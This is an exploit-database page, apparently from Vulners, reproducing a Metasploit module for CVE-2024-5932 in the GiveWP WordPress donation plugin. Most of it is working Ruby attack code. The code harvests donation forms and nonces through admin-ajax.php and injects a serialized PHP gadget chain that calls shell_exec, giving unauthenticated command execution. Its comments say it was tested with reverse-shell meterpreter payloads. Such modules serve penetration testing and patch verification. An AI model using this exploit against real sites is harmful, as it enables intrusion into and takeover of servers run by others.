Lucene search
K

WordPress GiveWP Donation / Fundraising Platform 3.14.1 Code Execution Exploit

🗓️ 29 Aug 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 341 Views

WordPress GiveWP Unauthenticated Donation Process Exploit allowing Arbitrary Code Executio

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
6 Jan 202619:05
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
25 Aug 202411:51
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
30 Sep 202417:33
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
25 Aug 202411:51
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
4 Nov 202519:04
githubexploit
GithubExploit
HackTheBox
7 Jun 202617:19
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Givewp
21 Aug 202409:51
githubexploit
Circl
CVE-2024-5932
20 Aug 202404:34
circl
CNNVD
WordPress plugin GiveWP 安全漏洞
20 Aug 202400:00
cnnvd
CVE
CVE-2024-5932
20 Aug 202402:03
cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
        'Description' => %q{
          The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution.
        },

        'License' => MSF_LICENSE,
        'Author' => [
          'Villu Orav',         # Initial Discovery
          'EQSTSeminar',        # Proof of Concept
          'Julien Ahrens',      # Vulnerability Analysis
          'Valentin Lobstein'   # Metasploit Module
        ],
        'References' => [
          ['CVE', '2024-5932'],
          ['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'],
          ['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
          ['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin']
        ],
        'DisclosureDate' => '2024-08-25',
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
      )
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    print_status("WordPress Version: #{wordpress_version}") if wordpress_version
    check_code = check_plugin_version_from_readme('give', '3.14.2')
    return CheckCode::Safe unless check_code.code == 'appears'

    print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}")
    CheckCode::Appears
  end

  def exploit
    forms = fetch_form_list
    fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?

    selected_form = forms.sample
    valid_form = retrieve_and_analyze_form(selected_form['id'])

    return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form

    print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
    send_exploit_request(
      valid_form['give_form_id'],
      valid_form['give_form_hash'],
      valid_form['give_price_id'],
      valid_form['give_amount']
    )
  end

  def fetch_form_list
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'data' => 'action=give_form_search'
    )

    return print_error('Failed to retrieve form list.') unless res&.code == 200

    forms = JSON.parse(res.body)
    form_ids = forms.map { |form| form['id'] }.sort

    print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
    forms
  end

  def retrieve_and_analyze_form(form_id)
    form_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
    )

    return unless form_res&.code == 200

    form_data = JSON.parse(form_res.body)
    give_form_id = form_id
    give_form_hash = form_data['data']
    give_price_id = '0'
    give_amount = '$10.00'
    # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.

    return unless give_form_hash

    {
      'give_form_id' => give_form_id,
      'give_form_hash' => give_form_hash,
      'give_price_id' => give_price_id,
      'give_amount' => give_amount
    }
  end

  def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
    final_payload = format(
      'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
      'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
      's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
      'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
      's:10:"shell_exec";s:12:"\\0*\\0generator";' \
      'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
      's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
      's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
      length: payload.encoded.length,
      encoded: payload.encoded
    )

    data = {
      'give-form-id' => give_form_id,
      'give-form-hash' => give_form_hash,
      'give-price-id' => give_price_id,
      'give-amount' => give_amount,
      'give_first' => Faker::Name.first_name,
      'give_last' => Faker::Name.last_name,
      'give_email' => Faker::Internet.email,
      'give_title' => final_payload,
      'give-gateway' => 'offline',
      'action' => 'give_process_donation'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'data' => URI.encode_www_form(data)
    }, 0)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation